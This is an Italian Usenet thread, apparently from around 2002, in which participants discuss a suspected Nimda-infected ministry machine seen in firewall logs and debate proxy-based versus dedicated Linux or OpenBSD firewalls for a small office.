IP dei pacchetti per verificare che si tartti effettivamente di una macchina
m$, che cosa ha guardato giovy di quella macchina, le eventuali righe di log
di ipfilter (??? e qui' sinceramente mi rimane un dubbio in merito ad alcune
incongruenze nelle descrizioni ... a buon intenditor ;).
Comunque IIS è la via di infezione di Nimda, non di attacco. Sono stati
rilevati casi di attacchi provenienti da macchine che non eseguono IIS ma che
hanno presumibilmente contratto il worm via NetBios o e-mail.
Cose da verificare, ad esempio, sarebbero la presenza della condivisione C o
un account guest attivo e la macchina accetta connessioni con queste
credenziali. Tutti elementi indiziari, ovviamente.
E se semplicemente i sysadmin se ne fossero accorti e avessero già patchato
tutto e fermato IIS?
Fabio

 web server attivo, in effetti.
Miiiiiii, alleluja!!!!
Qualcuno che mi ha capito!!!! :-)))))
Mi stava venendo il dubbio di non parlare in itaGLiano... :-)
E si, poteva anche essere Nimda.... mah.... chissą... :-)
--
      Giovanni Barbieri  (
gi...@globoweb.it
)
Globoweb Internet Solutions   
www.globoweb.it

 conosciamo la struttura della sua rete e se fa uso di proxy.
Beh, in effetti non credo che siano in molti (almeno in questo ng) che
conoscano la struttura di rete utilizzata da un ministero italiano
(sempre se usano la stessa struttura per tutti i dipartimenti)...
Henryx
-- 
echo '16i[q]sa[ln0=aln100%Pln100/snlbx]sb20293A2058554E494Csnlbxq'|dc

 (sempre se usano la stessa struttura per tutti i dipartimenti)...
Buonanotte.. io mi riferivo a quella di Giovy non alla struttura da cui
e' venuto l'attacco. Su, svegliati..


conosciamo la struttura della sua rete e se fa uso di proxy.
Confermo che c'e' un problema di comunicazione di fondo :-)
Leonardo
-- 
"Open Source programs are designed and developed.
 Our products are tested."
 Steve Lipner, manager, Microsoft Security Response Center

 conosciamo la struttura della sua rete e se fa uso di proxy.
Beh, penso che il LUI in questione non legga questo NG, altrimenti
qualcosina avrebbe imparato, e cmq gli avrebbero almeno fischiato le
orecchie, sentendoci parlare coì...
Ovviamente il LUI non posso essere io, dato che DA FUORI non ho fatto esami
di QUELLA rete e non la conosco... :-)
Ti passo per mail l'IP del computer in questione, vuoi provarci tu a
disegnare la struttura di quella rete? :-))) (Giovy che
NonE'IstigazioneAllHacking)


 tutto e fermato IIS?
Mmmmmmm..... ho i miei dubbi.....
Sarà perchè non ho ancora ricevuto risposta (nè la riceverò mai, di
sicuro...)   :-)


 Se la connessione esterna è Proxy si attiva il logging dell'IP Filter...
Ho lavorato poco con ipfilter ma mi sembrava che non avesse la possibilità di
analizzare protocolli di livello superiore al TCP. Quindi una connessione
sulla porta 80 per lui è una connessione sulla porta 80, indipendentemente da
quello che c'è nel payload del pacchetto. O sbaglio? Tra l'altro non mi
ricordo di un messaggio 'Connection refuse by IP Filter' nei log e tanto meno
nelle risposte: o è un RST (era possibile con delle patch se non ricordo male)
o è un ICMP tipo 3 sottotipo 13.
Se non sbaglio: cosa ci fanno quelle righe nel tuo log?
Se sbaglio: vado a giocare ancora un po' con ipfilter, che il mio FreeBSD è da
un po' che non lo torturo. Però mi dici le direttive con cui lo hai
configurato per fare questo :)
Fabio
... ah, si: _infect_ era passato anche da me due settimane fa. Non avevo
guardato con attenzione l'indirizzo IP mascherato presente nei log. :)

 NonE'IstigazioneAllHacking)
No THNX...
thorin "... non mi tentare, non sono una santa !"


 guardato con attenzione l'indirizzo IP mascherato presente nei log. :)
E questo DOVREBBE rispondere alle mie domande di cui sopra, su come avessi
avuto tutte quelle info se non avevo fornito l'IP...
DOVREBBE, perchè essendoci 255 classi C in quella subnet, c'è una
possibilità su 255 che sia la stessa...
Al limite, se vuoi, dammi l'IP del tuo _infect_ e vediamo se è lo stesso....
Ciao,


 Al limite, se vuoi, dammi l'IP del tuo _infect_ e vediamo se è lo stesso....
Penso che sia inutile: in quel range c'è un solo ministero :)
Voglio precisare che le informazioni sono state raccolte analizzando traffico
legittimo e al di sopra di ogni sospetto.
Fabio

 tutto e fermato IIS?
Beh, "gia'" mi sembra comunque troppo tardi, ora. :)


 Beh, "gia'" mi sembra comunque troppo tardi, ora. :)
Mi sa che è andata proprio così: hanno reinstallato il 12 dicembre.
Comunque spezzerei qualche lancia a favore di quei sysdamin: ad una prima
analisi sembrerebbe che altre loro macchine non siano mai state infettate
perchè, probabilmente, patchate per tempo.
Quella in questione potrebbe essere una workstation su cui non si erano
accorti che fosse attivo un IIS e che, quindi, non era stata patchata. Questo
non li scagionerebbe completamente (dovrebebro sapere che servizi girano sulle
macchine del loro range) ma potrebbe essere un'attenuante.
Ovviamente sono considerazioni basate su pochi elementi e potrebbero essere
erronee.
Fabio

 e' venuto l'attacco. Su, svegliati..
Allora c'e` stato un vero e proprio problema di comunicazione, in quanto
si parlava della struttura da cui e` arrivato l'attacco e non della rete
di Giovy ;)


 di Giovy ;)
Ri-Buonanotte ;-)


 legittimo e al di sopra di ogni sospetto.
Eh eh eh.... ed allora perchè questo disclaimer?
Dai, sto scherzando! :-)


 Dai, sto scherzando! :-)
Un mio amico ha letto questo thread e mi ha
detto di non fare il biricchino.
Mi sono detto: se ha pensato male lui ...
Fabio

 Il firewall è statefull?
Purtroppo no...
Sul lato firewall non è molto avanzato...
Nè stateful inspection nè packet filtering...
IMHO meglio usarlo solo come proxy (ed impostare regole di IP filtering solo
per impedire accesi non autorizzati), e usare un FW hardware (o software, o
una bella Linux-box) per il firewalling...


 Sul lato firewall non è molto avanzato... 
Perche' non scegliere, allora, Winroute, che pare essere,
a quanto ho letto su questo gruppo, un bel prodottino con 
tanto di stateful?

 tanto di stateful?
Forse perche' e' sempre basato su Uindous e quindi alla fine la solfa e'
sempre la stessa e queste cose si fanno molto meglio con un Linux box,
un Open BSD (lo sto provando ad installare proprio in questi giorni,
mayhem mi ha convinto) o un firewall hardware.


 tanto di stateful?
Beh, dipende anche dal contesto in cui lo vai ad inserire...
Nella nostra sede ci sono solo 5 PC e 2 portatili in rete, e non dobbiamo
preoccuparci granchè di problemi di sicurezza informatica (semplicemente
perchè noi sviluppiamo e progettiamo i lavori, ed i siti che produciamo sono
in hosting su altri server), non abbiamo computer che offrono servizi di
rete al mondo intero (e soprattutto l'IIS che usiamo per testare i lavori in
ASP è su una macchina STAND-ALONE, che NON ha accesso ad Internet), e quindi
al computer con il proxy basta anche un semplicissimo firewall commerciale
come il Norton (con un set di rules valido, ovviamente... considera che il
Norton ha il motore di AtGuard, ed io sono sempre stato innamorato di quel
software...  :-)     ) e vive tranquillo.
Diverso sarebbe il discorso in presenza di servizi di rete, o server
propri... ma è un problema che per il momento non dobbiamo affrontare, non
avendone la necessità...


mayhem mi ha convinto) o un firewall hardware.
Purtroppo, caro Thorin, il succo è il solito...
Alcuni programmi che uso per lavoro (tutta la suite Macromedia) non
esiste in versione Linux.
E, alla fine, IO che sui computer ci smanetto, mi informo, studio e
capisco, mi ci troverei bene (beh, sul mio computer c'è anche una
Mandrake) ma i miei colleghi NON saprebbero dove mettere le mani (e
per fortuna, aggiungo io, almeno non lo fanno).
E mettere su una linux box solo per fare firewalling, non avendo
chissà che da proteggere, come dicevo nel post su, mi pare
esagerato...
-- 
                  Giovy  (
gi...@globoweb.it
)    ICQ #  54911070
         WebMaster di Extreme - The Site  
www.extremenews.it
Globoweb Internet Solutions - Team Member   
www.globoweb.it

 esagerato...
E perche'? Continuiamo a seguire la filosofia di Redmond per cui una
stessa macchina deve fare da firewall, proxy, mail server, db server,
magari ci sono sopra 5-6 applicativi che gli utonti usano via rete? E
magari visto che e' un server deve avere su un bellissimo screen saver
che occupa tante belle risorse inutili con le sue migliaia di colori?
Beh in questo caso non ci sono mutande 'de fero che reggono. No caro
Giovanni, sbagli candeggio in tutto e per tutto: mettere una macchina
che faccia *solo* da firewall e' la cosa piu' giusta e se dici cio' vuol
dire che non hai le idee molto chiare in tema di sicurezza.
Una Linux box che sa fare bene quello deve fare *solo* quello, punto e
IMHO non deve essere nemmeno una Mandreik con tutte le sue inutilita'
(nani e ballerine) che ti installa nel sistema.


 Globoweb Internet Solutions - Team Member   
www.globoweb.it
trova un vecchio pentium con 32 mb di ram e 1 gb di disco ed installa
smoothwall (
www.smoothwall.org
) :-)
Aloha
--
Stefano Zamboni 
sz...@libero.it
----------------------------------------------------------------------------
-----------
Firma anche tu la petizione contro i brevetti sul software!
http://petition.eurolinux.org/index_html?LANG=it

(nani e ballerine) che ti installa nel sistema.
Ed hai perfettamente ragione anche qui....
Io infatti mi riferivo al MIO pc di casa, che ha ANCHE una Mandrake...
con ballerine e nani vari.....
solo che loro non hanno ascie... :-)))


 solo che loro non hanno ascie... :-)))
Ok ok :-) Io sto aspettando che mi arrivi il paccone dell'OpenBSD e poi
se riesco a trovare un PC riciclato e' la volta buona che metto su una
rete come si deve..



Boh. Non ci vuole molto a riciclare  un 486. L'ho fatto io pure in casa,
avevo un 486/8M, 350M di HD e  ora è sotto la scrivania (senza monitor e
tastiera) e fa da server mail/news/nat/fw/ssh.
-- 
Renato "Hitman" Salzano / 
http://spazioweb.inwind.it/hitman
IHGGer #778 / NapolICErs # 2 / GdGnocca #6 / Now from Debian 3.0
"Giusto, non pensare. Pensare fa male, e se Dio avesse voluto che 
 pensavi, Bill Gates ti avrebbe venduto un cervello" (Obelix)

tastiera) e fa da server mail/news/nat/fw/ssh.
Bhh, il mio problema non è riciclare una macchina (ho un vecchio PIII
da utilizzare, e penso che vada più che bene...) nè tantomeno la
capacità tecnica per farlo,  ma la NON NECESSITA' di farlo...
Noi NON abbiamo NESSUN server che gira nel nostro studio, quindi....
:-)



Ah, vabbè.  Non avete neanche una  macchina che faccia da  proxy/NAT per
condividere la  connesione? Sai con  linux è  un gioco installare  il FW
insieme a quelle  cose... [diciamo pure che per fargli  fare il NAT devi
usare comunque ipfilter, e a quel punto usarlo anche per FW è uno sforzo
minimo].


 condividere la  connesione?
Si, abbiamo un proxy sulla macchina collegata alla rete, ma:
1) E' configurato come si deve
2) Non soffre di vulnerabilità note (o almeno secondo Bugtraq)
3) E' semplice da metterci le mani (e purtroppo deve essere così perchè non
sono l'unico che ha accesso ai computer.... sigh....)
Ciao,


 
L'ultimo punto è quello cruciale, come non detto :-)
